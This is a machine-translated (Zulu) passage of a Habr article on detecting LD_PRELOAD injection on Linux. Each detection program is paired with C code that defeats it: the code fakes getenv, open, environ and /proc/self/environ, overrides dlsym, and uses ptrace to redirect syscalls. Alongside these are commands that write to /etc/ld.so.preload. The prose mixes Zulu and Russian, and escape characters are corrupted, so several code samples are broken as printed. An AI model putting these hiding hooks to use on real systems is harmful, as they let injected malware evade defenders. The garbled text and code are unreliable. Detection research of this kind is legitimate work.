Ifuna i-LD_PRELOAD

Leli nothi labhalwa ngo-2014, kodwa ngavele ngacindezelwa u-Habré futhi akazange abone ukukhanya kosuku. Ngesikhathi sokuvinjelwa ngakhohlwa ngakho, kodwa manje ngakuthola emibhalweni. Ngicabange ukuyisusa, kodwa mhlawumbe izoba usizo kothile.

Ifuna i-LD_PRELOAD

Ngokuvamile, umqondisi omncane wangoLwesihlanu ufunda esihlokweni sokufuna "okufakiwe" LD_PRELOAD.

1. Ukwehla okufushane kwalabo abangajwayele ukushintshwa komsebenzi

Abanye bangaya ngqo p.2.

Ake siqale ngesibonelo sakudala:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Sihlanganisa ngaphandle kwamafulegi:

$ gcc ./ld_rand.c -o ld_rand

Futhi, njengoba kulindelekile, sithola izinombolo ezingahleliwe ezi-5 ngaphansi kuka-100:

$ ./ld_rand
53
93
48
57
20

Kodwa ake sicabange ukuthi asinayo ikhodi yomthombo yohlelo, kodwa sidinga ukushintsha ukuziphatha.

Ake sizakhele umtapo wethu wezincwadi nge-prototype yethu yokusebenza, isibonelo:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

Futhi manje ukukhetha kwethu okungahleliwe kuyabikezelwa:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Leli qhinga libukeka lihlaba umxhwele nakakhulu uma siqala ukuthekelisa ilabhulali yethu nge

$ export LD_PRELOAD=$PWD/ld_rand.so

noma sizokwenza kuqala

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

bese uqhuba uhlelo njengenjwayelo. Asikashintshi ngisho nomugqa owodwa wekhodi ohlelweni ngokwalo, kodwa ukuziphatha kwalo manje kuncike kumsebenzi omncane osemtatsheni wezincwadi wethu. Ngaphezu kwalokho, ngesikhathi sokubhala uhlelo, i irandi wayengekho.

Yini eyenza uhlelo lwethu lusebenzise umgunyathi irandi? Masiyithathe isinyathelo ngesinyathelo.
Uma uhlelo luqala, amalabhulali athile ayalayishwa aqukethe imisebenzi edingwa uhlelo. Singawabuka sisebenzisa I-LDD:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Lolu hlu lungase luhluke kuye ngenguqulo ye-OS, kodwa kufanele kube nefayela lapho libc.so. Yilo mtapo wolwazi ohlinzeka ngezingcingo zesistimu nemisebenzi eyisisekelo njenge evulekile, malloc, printf njll. Yethu irandi uphakathi kwabo. Masiqinisekise lokhu:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Ake sibone ukuthi ingabe isethi yemitapo yolwazi iyashintsha yini uma isetshenziswa LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Kuvela ukuthi okuguquguqukayo kusethiwe LD_PRELOAD kuphoqa ukuthi silayishe ld_rand.so naphezu kokuthi uhlelo ngokwalo aludingi. Futhi kusukela umsebenzi wethu "irandi" ilayisha ngaphambi kwalokho irandi kusukela libc.so, bese ibusa imbeleko.

Kulungile, sikwazile ukufaka esikhundleni somsebenzi womdabu, kodwa singenza kanjani isiqiniseko sokuthi ukusebenza kwawo kuyagcinwa futhi ezinye izenzo zengeziwe. Masilungise okungahleliwe kwethu:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Lapha, “njengesengezo” sethu, siphrinta umugqa owodwa kuphela wombhalo, emva kwalokho sakha isikhombi somsebenzi wokuqala. irandi. Ukuze sithole ikheli lalo msebenzi sidinga dlsym kuwumsebenzi ovela kulabhulali libdlesizothola eyethu irandi esitakini semitapo yolwazi eguqukayo. Ngemuva kwalokho sizobiza lo msebenzi futhi sibuyisele inani lawo. Ngokuvumelana nalokho, sizodinga ukwengeza "-ldl" ngesikhathi somhlangano:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

Futhi uhlelo lwethu lusebenzisa "umdabu" irandi, esenze izenzo eziyichilo ngaphambilini.

2. Ubuhlungu bokufuna

Ukwazi ngengozi engaba khona, sifuna ukukubona lokho layisha kuqala Kwenziwa. Kuyacaca ukuthi indlela engcono kakhulu yokuthola ukuyifaka ku-kernel, kodwa benginentshisekelo kuzinketho zokutholwa endaweni yomsebenzisi.

Okulandelayo, izixazululo zokutholwa kanye nokuphikiswa kwazo zizofika ngazimbili.

2.1. Ake siqale elula

Njengoba kushiwo ngaphambili, ungacacisa umtapo wolwazi ozowulayisha usebenzisa okuguquguqukayo LD_PRELOAD noma ngokuyibhala efayeleni /etc/ld.so.preload. Ake sakhe imitshina emibili elula.

Okokuqala ukuhlola isethi yemvelo eguquguqukayo:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Okwesibili ukuhlola ukuthi ifayela livuliwe yini:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Masilayishe imitapo yolwazi:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Lapha nangezansi, [+] kubonisa ukutholwa ngempumelelo.
Ngokufanelekile, [-] kusho ukweqa ukutholwa.

Usebenza kangakanani umtshina onjalo? Ake sibheke ukuguquguquka kwemvelo kuqala:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

Ngokufanayo, sisusa isheke evulekile:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Yebo, ezinye izindlela zokufinyelela ifayela zingasetshenziswa lapha, njengokuthi, vula64, isimo njll., kodwa, empeleni, imigqa efanayo yekhodi ye-5-10 iyadingeka ukuze bakhohlise.

2.2. Asiqhubeke

Ngenhla sisebenzise getenv() ukuze uthole inani LD_PRELOAD, kodwa futhi kukhona indlela “yezinga eliphansi” yokufika kuyo ENV-okuguquguqukayo. Ngeke sisebenzise imisebenzi emaphakathi, kodwa sizobhekisela kumalungu afanayo **indawo, egcina ikhophi yendawo:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Njengoba lapha sifunda idatha ngokuqondile ekhanda, ucingo olunjalo alunakubanjwa, futhi lwethu undetect_getenv akusaphazamisi ukuhlonza isigebengu.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Kubonakala sengathi le nkinga isixazululiwe? Kusaqala.

Ngemuva kokuthi uhlelo luqalisiwe, inani lokuguquguquka LD_PRELOAD abaduni abasayidingi kumemori, okungukuthi, bangakwazi ukuyifunda futhi bayisuse ngaphambi kokukhipha noma yimiphi imiyalo. Yebo, ukuhlela uhlu olusekhanda, okungenani, isitayela sokuhlela esibi, kodwa lokhu kungamisa kanjani umuntu ongasifiseli okuhle kodwa?

Ukuze senze lokhu sidinga ukwakha umsebenzi wethu womgunyathi init(), lapho sibamba khona okufakiwe LD_PRELOAD bese uyidlulisela kusixhumi sethu:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Senza futhi sihlole:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

Nokho, inkumbulo akuyona indawo yokugcina lapho ungathola khona esikhundleni LD_PRELOAD, kukhona futhi /proc/. Ake siqale ngokusobala /proc/{PID}/environ.

Eqinisweni, kukhona isixazululo jikelele ngaboni **indawo и /proc/self/environ. Inkinga ukuziphatha “okungalungile” unsetenv(env).

inketho efanele

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Kodwa ake sicabange ukuthi asizange sikuthole futhi /proc/self/environ iqukethe idatha "eyinkinga".

Okokuqala ake sizame "nge-disguise" yethu yangaphambilini:

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

cat isebenzisa okufanayo ukuvula ifayela vula(), ngakho-ke isisombululo sifana nalokho osekwenziwe esigabeni 2.1, kodwa manje sakha ifayela lesikhashana lapho sikopisha khona amanani enkumbulo yeqiniso ngaphandle kwemigqa equkethe. LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

Futhi lesi sigaba sidlulisiwe:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Indawo elandelayo esobala yile /proc/self/maps. Asikho isidingo sokuhlala kuso. Isixazululo sifana ngokuphelele nesedlule: kopisha idatha efayeleni ukhiphe imigqa ephakathi libc.so и ld. ngakho.

2.4. Inketho evela kuChokepoint

Ngithande kakhulu lesi sixazululo ngenxa yobulula baso. Siqhathanisa amakheli emisebenzi elayishwe ngqo kusuka libc, kanye namakheli "OKULANDELAYO".

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Ilayisha umtapo wolwazi ngokuhlangana "vula ()" futhi uhlole:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Ukuphikiswa kuvele kwaba lula nakakhulu:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Ama-Syscalls

Kungase kubonakale sengathi konke lokhu, kodwa sisazobhakuza. Uma siqondisa ikholi yesistimu ngqo ku-kernel, lokhu kuzodlula yonke inqubo yokungenela. Isixazululo esingezansi, yiqiniso, sincike ku-architecture (x86_64). Ake sizame ukukusebenzisa ukuze sithole ukuvuleka ld.so.layisha kuqala.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Futhi le nkinga inesixazululo. Ingcaphuno evela eyodwa'A:

I-ptrace iyithuluzi elivumela inqubo yomzali ukuthi ibone futhi ilawule ukuqhubeka yenye inqubo, ibuke futhi iguqule idatha yayo namarejista. Ngokuvamile lo msebenzi usetshenziselwa ukudala ama-breakpoints ohlelweni lokususa iphutha nokuqapha amakholi wesistimu.

Inqubo yomzali ingaqala ukulandelela ngokubiza imfoloko kuqala(2), bese inqubo yengane ewumphumela isebenzise i-PTRACE_TRACEME, ilandelwe (ngokuvamile) ngokukhipha (3). Ngakolunye uhlangothi, inqubo yomzali ingaqala ukulungisa amaphutha inqubo ekhona isebenzisa i-PTRACE_ATTACH.

Lapho ilandelela, inqubo yengane iyama njalo lapho ithola isignali, ngisho noma isignali ishaywa indiva. (Okuhlukile yi-SIGKILL, esebenza ngokujwayelekile.) Inqubo yomzali izokwaziswa ngalokhu ngokushayela i-linda(2), ngemva kwalokho ingabuka futhi ilungise okuqukethwe kwenqubo yengane ngaphambi kokuba iqale. Inqubo yomzali ibe isivumela ingane ukuthi iqhubeke nokusebenza, kwezinye izimo iziba isignali ethunyelwe kuyo noma ithumele enye isignali esikhundleni salokho).

Ngakho-ke, isisombululo ukuqapha inqubo, ukuyimisa ngaphambi kocingo ngalunye lwesistimu futhi, uma kunesidingo, uqondise kabusha intambo emsebenzini we-hook.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Sihlola:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Ngibonga kakhulu

Charles Hubain
I-Chokepoint
I-ValdikSS
Philippe Teuwen
derhass

, izindatshana zayo, imithombo kanye nokuphawula kwakhe kwenza okungaphezu kwalokho engikwenzile ukuze ngenze leli nothi livele lapha.

Source: www.habr.com

Engeza amazwana